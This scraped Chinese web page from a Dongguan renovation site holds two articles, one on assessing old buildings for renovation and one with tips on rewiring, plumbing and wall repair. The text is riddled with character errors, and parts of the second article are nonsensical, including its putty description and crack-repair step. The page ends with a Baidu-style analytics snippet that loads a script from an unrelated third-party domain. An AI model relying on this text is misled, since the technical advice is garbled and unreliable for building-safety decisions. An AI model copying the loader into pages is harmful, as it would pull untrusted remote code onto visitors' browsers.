东莞旧房改造的鉴定评价如何进行

旧房改造的前提是对旧房进行鉴定评价，要确定这座旧房可不可以、值不值得进行改造。如果经鉴定评估，它是一座危房，无可救药，拆了盖新的反而比改造旧房更加经济合理。那么应该干脆报废拆除，不必死马当成活马医，造成浪费。当然，这是从纯技术角度考虑问题。如果这座旧房是革命纪念馆或具有历史文化意义的建筑，则又另当别论，不可贸然拆除，而应修旧如旧，保存原貌。反之。如果这座旧房可以而且值得改造，则应对它进行全面的调查研究，收集一切有关的技术资料，或对房屋本身作检测，了解它目前使用的环境、荷载状况、建筑材料的性能和材质认定、结构构件截面尺寸的变化、构件间连接接点的损伤程度等旧房的现存处境。等全部弄清上述资料后，应对其全面整理分析，作出正确的鉴定评价，以供改造旧房的设计者和施工者参考。旧房改造的鉴定评价工作是非常困难的，箱要从事这方面工作的人员具有丰富的技术经验和认真的工作作风，才能胜任。某市有一学校札堂(两层俊房，楼下是食堂)，使用十年后，受相邻楼房深基坑开挖施工的影响，发生基础不均匀沉降，引起上部梁板结构有些裂缝出现，学校方面出于安全方面考虑，停止了使用。经当地有关部门鉴定，判它为危房，必须拆除。对此判决，该市有些技术专家持不同看法，认为不是危房，不必拆除，双方争论不决。正好当时有外地结构学者来该市讲学，有关部门领导请外地专家作出判断，经过调查，后者也认为不是危房，可作加固处理，仍能继续使用。这样做不仅节省了国家资金，且能编短修复工期，很快恢复使用。可见对房屋的鉴定评价，一定要实事求是，慎之又俄，过松过严都不合适。过松则放过危房，引起安全隐患;过严则把可以改造的旧房拆掉，造成资金浪费。今天就说到这里了。希望这篇旧房改造小文章能够对大家有所帮助哦。想了解更多新鲜可口的独家资讯，只在东莞装修网哦。

如何快速的知道东莞市旧房改造装修和注意事项

今天，人们的生活水平有所提高。过去，老式房屋的装修难以满足现代人的生活需求。为了提高房屋的美观性和实用性，许多家庭现在考虑翻新旧房子。旧房改造比新房改造更复杂，意味着水电改造等。在东莞市旧房改造时应该注意什么？让我们来看看东莞市旧房改造的注意事项。​东莞市旧房改造装修和注意事项东莞市旧房改造1、改造电路对于老房子，有必要修改电路。这是因为以前家用电路的规划比较简单，所用电器数量少，电路线路老化，接线管不规则，难以满足能源需求电流。因此，我们必须用现在使用的铜质电缆替换以前使用过的铝质电缆，质量更好。并且还需要安装插座，这可以满足我们对大功率电器的使用需求。东莞市旧房改造2、改造水路除了回路外，我们还必须仔细检查水路，看看水管是否光滑，出水口是否足够，等等。如果房子过去使用铁管，我们将在旧房改造中用铜管，此外，老房子的水道大多是透明管道。为了节省起居室的空间并改善房间的美观，我们必须将水管改为隐藏的管道。建议您彻底检查水路，以避免以后出现进一步的问题。东莞市旧房改造3、改造墙在老房子里，墙壁也是一个损坏更严重的地方，所以每个人都必须在装修期间翻新墙壁。在以前的旧房改造中，使用普通的腻子，这种腻子更恭敬与环境如果墙壁部分开裂，应将所有裂缝部分移至基层，然后破裂。东莞市旧房改造4、墙面装饰由于墙的大小，我们必须在墙恢复后装饰它。这将使房间看起来更宽敞明亮，也将改善客厅的美感。过去，老房子的墙壁装饰相对简单。基本上，这是一个很大的白墙。他很少使用其他墙面装饰材料，容易开裂，褪色和霉变。每个人都应该注意自己的环保选择墙面装饰材料。如果使用不当，会对室内环境造成严重污染，甚至危害家庭健康。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();